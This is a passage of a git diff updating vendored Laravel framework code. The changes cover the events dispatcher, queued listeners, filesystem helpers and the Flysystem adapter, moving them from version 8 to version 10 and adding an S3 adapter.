$this->makeListener($listener); + } + + return $listeners; + } + /** * Register an event listener with the dispatcher. * @@ -475,7 +529,7 @@ protected function handlerShouldBeQueued($class) return (new ReflectionClass($class))->implementsInterface( ShouldQueue::class ); - } catch (Exception $e) { + } catch (Exception) { return false; } } @@ -508,7 +562,9 @@ protected function createQueuedHandlerCallable($class, $method) */ protected function handlerShouldBeDispatchedAfterDatabaseTransactions($listener) { - return ($listener->afterCommit ?? null) && $this->container->bound('db.transactions'); + return (($listener->afterCommit ?? null) || + $listener instanceof ShouldHandleEventsAfterCommit) && + $this->resolveTransactionManager(); } /** @@ -523,7 +579,7 @@ protected function createCallbackForListenerRunningAfterCommits($listener, $meth return function () use ($method, $listener) { $payload = func_get_args(); - $this->container->make('db.transactions')->addCallback( + $this->resolveTransactionManager()->addCallback( function () use ($listener, $method, $payload) { $listener->$method(...$payload); } @@ -562,16 +618,20 @@ protected function queueHandler($class, $method, $arguments) [$listener, $job] = $this->createListenerAndJob($class, $method, $arguments); $connection = $this->resolveQueue()->connection(method_exists($listener, 'viaConnection') - ? $listener->viaConnection() - : $listener->connection ?? null); + ? (isset($arguments[0]) ? $listener->viaConnection($arguments[0]) : $listener->viaConnection()) + : $listener->connection ?? null); $queue = method_exists($listener, 'viaQueue') - ? $listener->viaQueue() - : $listener->queue ?? null; + ? (isset($arguments[0]) ? $listener->viaQueue($arguments[0]) : $listener->viaQueue()) + : $listener->queue ?? null; + + $delay = method_exists($listener, 'withDelay') + ? (isset($arguments[0]) ? $listener->withDelay($arguments[0]) : $listener->withDelay()) + : $listener->delay ?? null; - isset($listener->delay) - ? $connection->laterOn($queue, $listener->delay, $job) - : $connection->pushOn($queue, $job); + is_null($delay) + ? $connection->pushOn($queue, $job) + : $connection->laterOn($queue, $delay, $job); } /** @@ -595,22 +655,30 @@ protected function createListenerAndJob($class, $method, $arguments) * Propagate listener options to the job. * * @param mixed $listener - * @param mixed $job + * @param \Illuminate\Events\CallQueuedListener $job * @return mixed */ protected function propagateListenerOptions($listener, $job) { return tap($job, function ($job) use ($listener) { - $job->afterCommit = property_exists($listener, 'afterCommit') ? $listener->afterCommit : null; - $job->backoff = method_exists($listener, 'backoff') ? $listener->backoff() : ($listener->backoff ?? null); + $data = array_values($job->data); + + if ($listener instanceof ShouldQueueAfterCommit) { + $job->afterCommit = true; + } else { + $job->afterCommit = property_exists($listener, 'afterCommit') ? $listener->afterCommit : null; + } + + $job->backoff = method_exists($listener, 'backoff') ? $listener->backoff(...$data) : ($listener->backoff ?? null); $job->maxExceptions = $listener->maxExceptions ?? null; - $job->retryUntil = method_exists($listener, 'retryUntil') ? $listener->retryUntil() : null; + $job->retryUntil = method_exists($listener, 'retryUntil') ? $listener->retryUntil(...$data) : null; $job->shouldBeEncrypted = $listener instanceof ShouldBeEncrypted; $job->timeout = $listener->timeout ?? null; + $job->failOnTimeout = $listener->failOnTimeout ?? false; $job->tries = $listener->tries ?? null; $job->through(array_merge( - method_exists($listener, 'middleware') ? $listener->middleware() : [], + method_exists($listener, 'middleware') ? $listener->middleware(...$data) : [], $listener->middleware ?? [] )); }); @@ -624,7 +692,7 @@ protected function propagateListenerOptions($listener, $job) */ public function forget($event) { - if (Str::contains($event, '*')) { + if (str_contains($event, '*')) { unset($this->wildcards[$event]); } else { unset($this->listeners[$event]); @@ -645,7 +713,7 @@ public function forget($event) public function forgetPushed() { foreach ($this->listeners as $key => $value) { - if (Str::endsWith($key, '_pushed')) { + if (str_ends_with($key, '_pushed')) { $this->forget($key); } } @@ -673,4 +741,37 @@ public function setQueueResolver(callable $resolver) return $this; } + + /** + * Get the database transaction manager implementation from the resolver. + * + * @return \Illuminate\Database\DatabaseTransactionsManager|null + */ + protected function resolveTransactionManager() + { + return call_user_func($this->transactionManagerResolver); + } + + /** + * Set the database transaction manager resolver implementation. + * + * @param callable $resolver + * @return $this + */ + public function setTransactionManagerResolver(callable $resolver) + { + $this->transactionManagerResolver = $resolver; + + return $this; + } + + /** + * Gets the raw, unprepared listeners. + * + * @return array + */ + public function getRawListeners() + { + return $this->listeners; + } } diff --git a/vendor/illuminate/events/EventServiceProvider.php b/vendor/illuminate/events/EventServiceProvider.php index 15fb60b10..cf9fbe25e 100644 --- a/vendor/illuminate/events/EventServiceProvider.php +++ b/vendor/illuminate/events/EventServiceProvider.php @@ -17,6 +17,10 @@ public function register() $this->app->singleton('events', function ($app) { return (new Dispatcher($app))->setQueueResolver(function () use ($app) { return $app->make(QueueFactoryContract::class); + })->setTransactionManagerResolver(function () use ($app) { + return $app->bound('db.transactions') + ? $app->make('db.transactions') + : null; }); }); } diff --git a/vendor/illuminate/events/NullDispatcher.php b/vendor/illuminate/events/NullDispatcher.php index 5c539d53a..4b2d01119 100644 --- a/vendor/illuminate/events/NullDispatcher.php +++ b/vendor/illuminate/events/NullDispatcher.php @@ -57,7 +57,7 @@ public function push($event, $payload = []) * * @param string|object $event * @param mixed $payload - * @return array|null + * @return mixed */ public function until($event, $payload = []) { @@ -139,6 +139,6 @@ public function forgetPushed() */ public function __call($method, $parameters) { - return $this->forwardCallTo($this->dispatcher, $method, $parameters); + return $this->forwardDecoratedCallTo($this->dispatcher, $method, $parameters); } } diff --git a/vendor/illuminate/events/QueuedClosure.php b/vendor/illuminate/events/QueuedClosure.php index 825905984..31a462ace 100644 --- a/vendor/illuminate/events/QueuedClosure.php +++ b/vendor/illuminate/events/QueuedClosure.php @@ -3,7 +3,7 @@ namespace Illuminate\Events; use Closure; -use Illuminate\Queue\SerializableClosureFactory; +use Laravel\SerializableClosure\SerializableClosure; class QueuedClosure { @@ -80,7 +80,7 @@ public function onQueue($queue) } /** - * Set the desired delay for the job. + * Set the desired delay in seconds for the job. * * @param \DateTimeInterface|\DateInterval|int|null $delay * @return $this @@ -114,10 +114,10 @@ public function resolve() { return function (...$arguments) { dispatch(new CallQueuedListener(InvokeQueuedClosure::class, 'handle', [ - 'closure' => SerializableClosureFactory::make($this->closure), + 'closure' => new SerializableClosure($this->closure), 'arguments' => $arguments, 'catch' => collect($this->catchCallbacks)->map(function ($callback) { - return SerializableClosureFactory::make($callback); + return new SerializableClosure($callback); })->all(), ]))->onConnection($this->connection)->onQueue($this->queue)->delay($this->delay); }; diff --git a/vendor/illuminate/events/composer.json b/vendor/illuminate/events/composer.json index b77ba2c89..b23bc7209 100644 --- a/vendor/illuminate/events/composer.json +++ b/vendor/illuminate/events/composer.json @@ -14,13 +14,13 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/bus": "^8.0", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "illuminate/bus": "^10.0", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0" }, "autoload": { "psr-4": { @@ -32,7 +32,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/filesystem/AwsS3V3Adapter.php b/vendor/illuminate/filesystem/AwsS3V3Adapter.php new file mode 100644 index 000000000..8e908e81a --- /dev/null +++ b/vendor/illuminate/filesystem/AwsS3V3Adapter.php @@ -0,0 +1,141 @@ +client = $client; + } + + /** + * Get the URL for the file at the given path. + * + * @param string $path + * @return string + * + * @throws \RuntimeException + */ + public function url($path) + { + // If an explicit base URL has been set on the disk configuration then we will use + // it as the base URL instead of the default path. This allows the developer to + // have full control over the base path for this filesystem's generated URLs. + if (isset($this->config['url'])) { + return $this->concatPathToUrl($this->config['url'], $this->prefixer->prefixPath($path)); + } + + return $this->client->getObjectUrl( + $this->config['bucket'], $this->prefixer->prefixPath($path) + ); + } + + /** + * Determine if temporary URLs can be generated. + * + * @return bool + */ + public function providesTemporaryUrls() + { + return true; + } + + /** + * Get a temporary URL for the file at the given path. + * + * @param string $path + * @param \DateTimeInterface $expiration + * @param array $options + * @return string + */ + public function temporaryUrl($path, $expiration, array $options = []) + { + $command = $this->client->getCommand('GetObject', array_merge([ + 'Bucket' => $this->config['bucket'], + 'Key' => $this->prefixer->prefixPath($path), + ], $options)); + + $uri = $this->client->createPresignedRequest( + $command, $expiration, $options + )->getUri(); + + // If an explicit base URL has been set on the disk configuration then we will use + // it as the base URL instead of the default path. This allows the developer to + // have full control over the base path for this filesystem's generated URLs. + if (isset($this->config['temporary_url'])) { + $uri = $this->replaceBaseUrl($uri, $this->config['temporary_url']); + } + + return (string) $uri; + } + + /** + * Get a temporary upload URL for the file at the given path. + * + * @param string $path + * @param \DateTimeInterface $expiration + * @param array $options + * @return array + */ + public function temporaryUploadUrl($path, $expiration, array $options = []) + { + $command = $this->client->getCommand('PutObject', array_merge([ + 'Bucket' => $this->config['bucket'], + 'Key' => $this->prefixer->prefixPath($path), + ], $options)); + + $signedRequest = $this->client->createPresignedRequest( + $command, $expiration, $options + ); + + $uri = $signedRequest->getUri(); + + // If an explicit base URL has been set on the disk configuration then we will use + // it as the base URL instead of the default path. This allows the developer to + // have full control over the base path for this filesystem's generated URLs. + if (isset($this->config['temporary_url'])) { + $uri = $this->replaceBaseUrl($uri, $this->config['temporary_url']); + } + + return [ + 'url' => (string) $uri, + 'headers' => $signedRequest->getHeaders(), + ]; + } + + /** + * Get the underlying S3 client. + * + * @return \Aws\S3\S3Client + */ + public function getClient() + { + return $this->client; + } +} diff --git a/vendor/illuminate/filesystem/Cache.php b/vendor/illuminate/filesystem/Cache.php deleted file mode 100644 index 8ae2486da..000000000 --- a/vendor/illuminate/filesystem/Cache.php +++ /dev/null @@ -1,71 +0,0 @@ -key = $key; - $this->expire = $expire; - $this->repository = $repository; - } - - /** - * Load the cache. - * - * @return void - */ - public function load() - { - $contents = $this->repository->get($this->key); - - if (! is_null($contents)) { - $this->setFromStorage($contents); - } - } - - /** - * Persist the cache. - * - * @return void - */ - public function save() - { - $contents = $this->getForStorage(); - - $this->repository->put($this->key, $contents, $this->expire); - } -} diff --git a/vendor/illuminate/filesystem/Filesystem.php b/vendor/illuminate/filesystem/Filesystem.php index 8b98ae87a..cfd4c2207 100644 --- a/vendor/illuminate/filesystem/Filesystem.php +++ b/vendor/illuminate/filesystem/Filesystem.php @@ -6,6 +6,7 @@ use FilesystemIterator; use Illuminate\Contracts\Filesystem\FileNotFoundException; use Illuminate\Support\LazyCollection; +use Illuminate\Support\Traits\Conditionable; use Illuminate\Support\Traits\Macroable; use RuntimeException; use SplFileObject; @@ -15,7 +16,7 @@ class Filesystem { - use Macroable; + use Conditionable, Macroable; /** * Determine if a file or directory exists. @@ -57,6 +58,21 @@ public function get($path, $lock = false) throw new FileNotFoundException("File does not exist at path {$path}."); } + /** + * Get the contents of a file as decoded JSON. + * + * @param string $path + * @param int $flags + * @param bool $lock + * @return array + * + * @throws \Illuminate\Contracts\Filesystem\FileNotFoundException + */ + public function json($path, $flags = 0, $lock = false) + { + return json_decode($this->get($path, $lock), true, 512, $flags); + } + /** * Get contents of a file with shared access. * @@ -164,14 +180,15 @@ public function lines($path) } /** - * Get the MD5 hash of the file at the given path. + * Get the hash of the file at the given path. * * @param string $path + * @param string $algorithm * @return string */ - public function hash($path) + public function hash($path, $algorithm = 'md5') { - return md5_file($path); + return hash_file($algorithm, $path); } /** @@ -192,9 +209,10 @@ public function put($path, $contents, $lock = false) * * @param string $path * @param string $content + * @param int|null $mode * @return void */ - public function replace($path, $content) + public function replace($path, $content, $mode = null) { // If the path already exists and is a symlink, get the real path... clearstatcache(true, $path); @@ -204,7 +222,11 @@ public function replace($path, $content) $tempPath = tempnam(dirname($path), basename($path)); // Fix permissions of tempPath because `tempnam()` creates it with permissions set to 0600... - chmod($tempPath, 0777 - umask()); + if (! is_null($mode)) { + chmod($tempPath, $mode); + } else { + chmod($tempPath, 0777 - umask()); + } file_put_contents($tempPath, $content); @@ -245,11 +267,12 @@ public function prepend($path, $data) * * @param string $path * @param string $data + * @param bool $lock * @return int */ - public function append($path, $data) + public function append($path, $data, $lock = false) { - return file_put_contents($path, $data, FILE_APPEND); + return file_put_contents($path, $data, FILE_APPEND | ($lock ? LOCK_EX : 0)); } /** @@ -287,7 +310,7 @@ public function delete($paths) } else { $success = false; } - } catch (ErrorException $e) { + } catch (ErrorException) { $success = false; } } @@ -324,7 +347,7 @@ public function copy($path, $target) * * @param string $target * @param string $link - * @return void + * @return bool|null */ public function link($target, $link) { @@ -356,7 +379,7 @@ public function relativeLink($target, $link) $relativeTarget = (new SymfonyFilesystem)->makePathRelative($target, dirname($link)); - $this->link($relativeTarget, $link); + $this->link($this->isFile($target) ? rtrim($relativeTarget, '/') : $relativeTarget, $link); } /** @@ -477,6 +500,18 @@ public function isDirectory($directory) return is_dir($directory); } + /** + * Determine if the given path is a directory that does not contain any other files or directories. + * + * @param string $directory + * @param bool $ignoreDotFiles + * @return bool + */ + public function isEmptyDirectory($directory, $ignoreDotFiles = false) + { + return ! Finder::create()->ignoreDotFiles($ignoreDotFiles)->in($directory)->depth(0)->hasResults(); + } + /** * Determine if the given path is readable. * @@ -499,6 +534,20 @@ public function isWritable($path) return is_writable($path); } + /** + * Determine if two files are the same by comparing their hashes. + * + * @param string $firstFile + * @param string $secondFile + * @return bool + */ + public function hasSameHash($firstFile, $secondFile) + { + $hash = @md5_file($firstFile); + + return $hash && hash_equals($hash, (string) @md5_file($secondFile)); + } + /** * Determine if the given path is a file. * @@ -659,10 +708,8 @@ public function copyDirectory($directory, $destination, $options = null) // If the current items is just a regular file, we will just copy this to the new // location and keep looping. If for some reason the copy fails we'll bail out // and return false, so the developer is aware that the copy process failed. - else { - if (! $this->copy($item->getPathname(), $target)) { - return false; - } + elseif (! $this->copy($item->getPathname(), $target)) { + return false; } } @@ -702,6 +749,8 @@ public function deleteDirectory($directory, $preserve = false) } } + unset($items); + if (! $preserve) { @rmdir($directory); } diff --git a/vendor/illuminate/filesystem/FilesystemAdapter.php b/vendor/illuminate/filesystem/FilesystemAdapter.php index a9fd52474..a8e260d24 100644 --- a/vendor/illuminate/filesystem/FilesystemAdapter.php +++ b/vendor/illuminate/filesystem/FilesystemAdapter.php @@ -4,36 +4,43 @@ use Closure; use Illuminate\Contracts\Filesystem\Cloud as CloudFilesystemContract; -use Illuminate\Contracts\Filesystem\FileExistsException as ContractFileExistsException; -use Illuminate\Contracts\Filesystem\FileNotFoundException as ContractFileNotFoundException; use Illuminate\Contracts\Filesystem\Filesystem as FilesystemContract; use Illuminate\Http\File; use Illuminate\Http\UploadedFile; use Illuminate\Support\Arr; -use Illuminate\Support\Collection; use Illuminate\Support\Str; +use Illuminate\Support\Traits\Conditionable; use Illuminate\Support\Traits\Macroable; use InvalidArgumentException; -use League\Flysystem\Adapter\Ftp; -use League\Flysystem\Adapter\Local as LocalAdapter; -use League\Flysystem\AdapterInterface; -use League\Flysystem\AwsS3v3\AwsS3Adapter; -use League\Flysystem\Cached\CachedAdapter; -use League\Flysystem\FileExistsException; -use League\Flysystem\FileNotFoundException; -use League\Flysystem\FilesystemInterface; -use League\Flysystem\Sftp\SftpAdapter as Sftp; +use League\Flysystem\FilesystemAdapter as FlysystemAdapter; +use League\Flysystem\FilesystemOperator; +use League\Flysystem\Ftp\FtpAdapter; +use League\Flysystem\Local\LocalFilesystemAdapter as LocalAdapter; +use League\Flysystem\PathPrefixer; +use League\Flysystem\PhpseclibV3\SftpAdapter; +use League\Flysystem\StorageAttributes; +use League\Flysystem\UnableToCopyFile; +use League\Flysystem\UnableToCreateDirectory; +use League\Flysystem\UnableToDeleteDirectory; +use League\Flysystem\UnableToDeleteFile; +use League\Flysystem\UnableToMoveFile; +use League\Flysystem\UnableToProvideChecksum; +use League\Flysystem\UnableToReadFile; +use League\Flysystem\UnableToRetrieveMetadata; +use League\Flysystem\UnableToSetVisibility; +use League\Flysystem\UnableToWriteFile; +use League\Flysystem\Visibility; use PHPUnit\Framework\Assert as PHPUnit; use Psr\Http\Message\StreamInterface; -use Psr\Http\Message\UriInterface; use RuntimeException; use Symfony\Component\HttpFoundation\StreamedResponse; /** - * @mixin \League\Flysystem\FilesystemInterface + * @mixin \League\Flysystem\FilesystemOperator */ class FilesystemAdapter implements CloudFilesystemContract { + use Conditionable; use Macroable { __call as macroCall; } @@ -41,10 +48,31 @@ class FilesystemAdapter implements CloudFilesystemContract /** * The Flysystem filesystem implementation. * - * @var \League\Flysystem\FilesystemInterface + * @var \League\Flysystem\FilesystemOperator */ protected $driver; + /** + * The Flysystem adapter implementation. + * + * @var \League\Flysystem\FilesystemAdapter + */ + protected $adapter; + + /** + * The filesystem configuration. + * + * @var array + */ + protected $config; + + /** + * The Flysystem PathPrefixer instance. + * + * @var \League\Flysystem\PathPrefixer + */ + protected $prefixer; + /** * The temporary URL builder callback. * @@ -55,16 +83,27 @@ class FilesystemAdapter implements CloudFilesystemContract /** * Create a new filesystem adapter instance. * - * @param \League\Flysystem\FilesystemInterface $driver + * @param \League\Flysystem\FilesystemOperator $driver + * @param \League\Flysystem\FilesystemAdapter $adapter + * @param array $config * @return void */ - public function __construct(FilesystemInterface $driver) + public function __construct(FilesystemOperator $driver, FlysystemAdapter $adapter, array $config = []) { $this->driver = $driver; + $this->adapter = $adapter; + $this->config = $config; + $separator = $config['directory_separator'] ?? DIRECTORY_SEPARATOR; + + $this->prefixer = new PathPrefixer($config['root'] ?? '', $separator); + + if (isset($config['prefix'])) { + $this->prefixer = new PathPrefixer($this->prefixer->prefixPath($config['prefix']), $separator); + } } /** - * Assert that the given file exists. + * Assert that the given file or directory exists. * * @param string|array $path * @param string|null $content @@ -78,7 +117,7 @@ public function assertExists($path, $content = null) foreach ($paths as $path) { PHPUnit::assertTrue( - $this->exists($path), "Unable to find a file at path [{$path}]." + $this->exists($path), "Unable to find a file or directory at path [{$path}]." ); if (! is_null($content)) { @@ -87,7 +126,7 @@ public function assertExists($path, $content = null) PHPUnit::assertSame( $content, $actual, - "File [{$path}] was found, but content [{$actual}] does not match [{$content}]." + "File or directory [{$path}] was found, but content [{$actual}] does not match [{$content}]." ); } } @@ -96,7 +135,7 @@ public function assertExists($path, $content = null) } /** - * Assert that the given file does not exist. + * Assert that the given file or directory does not exist. * * @param string|array $path * @return $this @@ -109,7 +148,7 @@ public function assertMissing($path) foreach ($paths as $path) { PHPUnit::assertFalse( - $this->exists($path), "Found unexpected file at path [{$path}]." + $this->exists($path), "Found unexpected file or directory at path [{$path}]." ); } @@ -117,7 +156,22 @@ public function assertMissing($path) } /** - * Determine if a file exists. + * Assert that the given directory is empty. + * + * @param string $path + * @return $this + */ + public function assertDirectoryEmpty($path) + { + PHPUnit::assertEmpty( + $this->allFiles($path), "Directory [{$path}] is not empty." + ); + + return $this; + } + + /** + * Determine if a file or directory exists. * * @param string $path * @return bool @@ -139,45 +193,95 @@ public function missing($path) } /** - * Get the full path for the file at the given "short" path. + * Determine if a file exists. * * @param string $path - * @return string + * @return bool */ - public function path($path) + public function fileExists($path) { - $adapter = $this->driver->getAdapter(); + return $this->driver->fileExists($path); + } - if ($adapter instanceof CachedAdapter) { - $adapter = $adapter->getAdapter(); - } + /** + * Determine if a file is missing. + * + * @param string $path + * @return bool + */ + public function fileMissing($path) + { + return ! $this->fileExists($path); + } - return $adapter->getPathPrefix().$path; + /** + * Determine if a directory exists. + * + * @param string $path + * @return bool + */ + public function directoryExists($path) + { + return $this->driver->directoryExists($path); } /** - * Get the contents of a file. + * Determine if a directory is missing. + * + * @param string $path + * @return bool + */ + public function directoryMissing($path) + { + return ! $this->directoryExists($path); + } + + /** + * Get the full path for the file at the given "short" path. * * @param string $path * @return string + */ + public function path($path) + { + return $this->prefixer->prefixPath($path); + } + + /** + * Get the contents of a file. * - * @throws \Illuminate\Contracts\Filesystem\FileNotFoundException + * @param string $path + * @return string|null */ public function get($path) { try { return $this->driver->read($path); - } catch (FileNotFoundException $e) { - throw new ContractFileNotFoundException($e->getMessage(), $e->getCode(), $e); + } catch (UnableToReadFile $e) { + throw_if($this->throwsExceptions(), $e); } } + /** + * Get the contents of a file as decoded JSON. + * + * @param string $path + * @param int $flags + * @return array|null + */ + public function json($path, $flags = 0) + { + $content = $this->get($path); + + return is_null($content) ? null : json_decode($content, true, 512, $flags); + } + /** * Create a streamed response for a given file. * * @param string $path * @param string|null $name - * @param array|null $headers + * @param array $headers * @param string|null $disposition * @return \Symfony\Component\HttpFoundation\StreamedResponse */ @@ -185,17 +289,20 @@ public function response($path, $name = null, array $headers = [], $disposition { $response = new StreamedResponse; - $filename = $name ?? basename($path); + $headers['Content-Type'] ??= $this->mimeType($path); + $headers['Content-Length'] ??= $this->size($path); - $disposition = $response->headers->makeDisposition( - $disposition, $filename, $this->fallbackName($filename) - ); + if (! array_key_exists('Content-Disposition', $headers)) { + $filename = $name ?? basename($path); - $response->headers->replace($headers + [ - 'Content-Type' => $this->mimeType($path), - 'Content-Length' => $this->size($path), - 'Content-Disposition' => $disposition, - ]); + $disposition = $response->headers->makeDisposition( + $disposition, $filename, $this->fallbackName($filename) + ); + + $headers['Content-Disposition'] = $disposition; + } + + $response->headers->replace($headers); $response->setCallback(function () use ($path) { $stream = $this->readStream($path); @@ -211,7 +318,6 @@ public function response($path, $name = null, array $headers = [], $disposition * * @param string $path * @param string|null $name - * @param array|null $headers * @return \Symfony\Component\HttpFoundation\StreamedResponse */ public function download($path, $name = null, array $headers = []) @@ -236,7 +342,7 @@ protected function fallbackName($name) * @param string $path * @param \Psr\Http\Message\StreamInterface|\Illuminate\Http\File|\Illuminate\Http\UploadedFile|string|resource $contents * @param mixed $options - * @return bool + * @return string|bool */ public function put($path, $contents, $options = []) { @@ -252,25 +358,39 @@ public function put($path, $contents, $options = []) return $this->putFile($path, $contents, $options); } - if ($contents instanceof StreamInterface) { - return $this->driver->putStream($path, $contents->detach(), $options); + try { + if ($contents instanceof StreamInterface) { + $this->driver->writeStream($path, $contents->detach(), $options); + + return true; + } + + is_resource($contents) + ? $this->driver->writeStream($path, $contents, $options) + : $this->driver->write($path, $contents, $options); + } catch (UnableToWriteFile|UnableToSetVisibility $e) { + throw_if($this->throwsExceptions(), $e); + + return false; } - return is_resource($contents) - ? $this->driver->putStream($path, $contents, $options) - : $this->driver->put($path, $contents, $options); + return true; } /** * Store the uploaded file on the disk. * - * @param string $path - * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string $file + * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string $path + * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string|array|null $file * @param mixed $options * @return string|false */ - public function putFile($path, $file, $options = []) + public function putFile($path, $file = null, $options = []) { + if (is_null($file) || is_array($file)) { + [$path, $file, $options] = ['', $path, $file ?? []]; + } + $file = is_string($file) ? new File($file) : $file; return $this->putFileAs($path, $file, $file->hashName(), $options); @@ -279,14 +399,18 @@ public function putFile($path, $file, $options = []) /** * Store the uploaded file on the disk with a given name. * - * @param string $path - * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string $file - * @param string $name + * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string $path + * @param \Illuminate\Http\File|\Illuminate\Http\UploadedFile|string|array|null $file + * @param string|array|null $name * @param mixed $options * @return string|false */ - public function putFileAs($path, $file, $name, $options = []) + public function putFileAs($path, $file, $name = null, $options = []) { + if (is_null($name) || is_array($name)) { + [$path, $file, $name, $options] = ['', $path, $file, $name ?? []]; + } + $stream = fopen(is_string($file) ? $file : $file->getRealPath(), 'r'); // Next, we will format the path of the file and store the file using a stream since @@ -311,7 +435,7 @@ public function putFileAs($path, $file, $name, $options = []) */ public function getVisibility($path) { - if ($this->driver->getVisibility($path) == AdapterInterface::VISIBILITY_PUBLIC) { + if ($this->driver->visibility($path) == Visibility::PUBLIC) { return FilesystemContract::VISIBILITY_PUBLIC; } @@ -327,7 +451,15 @@ public function getVisibility($path) */ public function setVisibility($path, $visibility) { - return $this->driver->setVisibility($path, $this->parseVisibility($visibility)); + try { + $this->driver->setVisibility($path, $this->parseVisibility($visibility)); + } catch (UnableToSetVisibility $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } + + return true; } /** @@ -340,7 +472,7 @@ public function setVisibility($path, $visibility) */ public function prepend($path, $data, $separator = PHP_EOL) { - if ($this->exists($path)) { + if ($this->fileExists($path)) { return $this->put($path, $data.$separator.$this->get($path)); } @@ -357,7 +489,7 @@ public function prepend($path, $data, $separator = PHP_EOL) */ public function append($path, $data, $separator = PHP_EOL) { - if ($this->exists($path)) { + if ($this->fileExists($path)) { return $this->put($path, $this->get($path).$separator.$data); } @@ -378,10 +510,10 @@ public function delete($paths) foreach ($paths as $path) { try { - if (! $this->driver->delete($path)) { - $success = false; - } - } catch (FileNotFoundException $e) { + $this->driver->delete($path); + } catch (UnableToDeleteFile $e) { + throw_if($this->throwsExceptions(), $e); + $success = false; } } @@ -398,7 +530,15 @@ public function delete($paths) */ public function copy($from, $to) { - return $this->driver->copy($from, $to); + try { + $this->driver->copy($from, $to); + } catch (UnableToCopyFile $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } + + return true; } /** @@ -410,7 +550,15 @@ public function copy($from, $to) */ public function move($from, $to) { - return $this->driver->rename($from, $to); + try { + $this->driver->move($from, $to); + } catch (UnableToMoveFile $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } + + return true; } /** @@ -421,60 +569,53 @@ public function move($from, $to) */ public function size($path) { - return $this->driver->getSize($path); + return $this->driver->fileSize($path); } /** - * Get the mime-type of a given file. + * Get the checksum for a file. * - * @param string $path * @return string|false + * + * @throws UnableToProvideChecksum */ - public function mimeType($path) + public function checksum(string $path, array $options = []) { - return $this->driver->getMimetype($path); + try { + return $this->driver->checksum($path, $options); + } catch (UnableToProvideChecksum $e) { + throw_if($this->throwsExceptions(), $e); + + return false; + } } /** - * Get the file's last modification time. + * Get the mime-type of a given file. * * @param string $path - * @return int + * @return string|false */ - public function lastModified($path) + public function mimeType($path) { - return $this->driver->getTimestamp($path); + try { + return $this->driver->mimeType($path); + } catch (UnableToRetrieveMetadata $e) { + throw_if($this->throwsExceptions(), $e); + } + + return false; } /** - * Get the URL for the file at the given path. + * Get the file's last modification time. * * @param string $path - * @return string - * - * @throws \RuntimeException + * @return int */ - public function url($path) + public function lastModified($path) { - $adapter = $this->driver->getAdapter(); - - if ($adapter instanceof CachedAdapter) { - $adapter = $adapter->getAdapter(); - } - - if (method_exists($adapter, 'getUrl')) { - return $adapter->getUrl($path); - } elseif (method_exists($this->driver, 'getUrl')) { - return $this->driver->getUrl($path); - } elseif ($adapter instanceof AwsS3Adapter) { - return $this->getAwsUrl($adapter, $path); - } elseif ($adapter instanceof Ftp || $adapter instanceof Sftp) { - return $this->getFtpUrl($path); - } elseif ($adapter instanceof LocalAdapter) { - return $this->getLocalUrl($path); - } else { - throw new RuntimeException('This driver does not support retrieving URLs.'); - } + return $this->driver->lastModified($path); } /** @@ -483,9 +624,9 @@ public function url($path) public function readStream($path) { try { - return $this->driver->readStream($path) ?: null; - } catch (FileNotFoundException $e) { - throw new ContractFileNotFoundException($e->getMessage(), $e->getCode(), $e); + return $this->driver->readStream($path); + } catch (UnableToReadFile $e) { + throw_if($this->throwsExceptions(), $e); } } @@ -495,31 +636,43 @@ public function readStream($path) public function writeStream($path, $resource, array $options = []) { try { - return $this->driver->writeStream($path, $resource, $options); - } catch (FileExistsException $e) { - throw new ContractFileExistsException($e->getMessage(), $e->getCode(), $e); + $this->driver->writeStream($path, $resource, $options); + } catch (UnableToWriteFile|UnableToSetVisibility $e) { + throw_if($this->throwsExceptions(), $e); + + return false; } + + return true; } /** * Get the URL for the file at the given path. * - * @param \League\Flysystem\AwsS3v3\AwsS3Adapter $adapter * @param string $path * @return string + * + * @throws \RuntimeException */ - protected function getAwsUrl($adapter, $path) + public function url($path) { - // If an explicit base URL has been set on the disk configuration then we will use - // it as the base URL instead of the default path. This allows the developer to - // have full control over the base path for this filesystem's generated URLs. - if (! is_null($url = $this->driver->getConfig()->get('url'))) { - return $this->concatPathToUrl($url, $adapter->getPathPrefix().$path); + if (isset($this->config['prefix'])) { + $path = $this->concatPathToUrl($this->config['prefix'], $path); } - return $adapter->getClient()->getObjectUrl( - $adapter->getBucket(), $adapter->getPathPrefix().$path - ); + $adapter = $this->adapter; + + if (method_exists($adapter, 'getUrl')) { + return $adapter->getUrl($path); + } elseif (method_exists($this->driver, 'getUrl')) { + return $this->driver->getUrl($path); + } elseif ($adapter instanceof FtpAdapter || $adapter instanceof SftpAdapter) { + return $this->getFtpUrl($path); + } elseif ($adapter instanceof LocalAdapter) { + return $this->getLocalUrl($path); + } else { + throw new RuntimeException('This driver does not support retrieving URLs.'); + } } /** @@ -530,10 +683,8 @@ protected function getAwsUrl($adapter, $path) */ protected function getFtpUrl($path) { - $config = $this->driver->getConfig(); - - return $config->has('url') - ? $this->concatPathToUrl($config->get('url'), $path) + return isset($this->config['url']) + ? $this->concatPathToUrl($this->config['url'], $path) : $path; } @@ -545,13 +696,11 @@ protected function getFtpUrl($path) */ protected function getLocalUrl($path) { - $config = $this->driver->getConfig(); - // If an explicit base URL has been set on the disk configuration then we will use // it as the base URL instead of the default path. This allows the developer to // have full control over the base path for this filesystem's generated URLs. - if ($config->has('url')) { - return $this->concatPathToUrl($config->get('url'), $path); + if (isset($this->config['url'])) { + return $this->concatPathToUrl($this->config['url'], $path); } $path = '/storage/'.$path; @@ -559,13 +708,23 @@ protected function getLocalUrl($path) // If the path contains "storage/public", it probably means the developer is using // the default disk to generate the path instead of the "public" disk like they // are really supposed to use. We will remove the public from this path here. - if (Str::contains($path, '/storage/public/')) { + if (str_contains($path, '/storage/public/')) { return 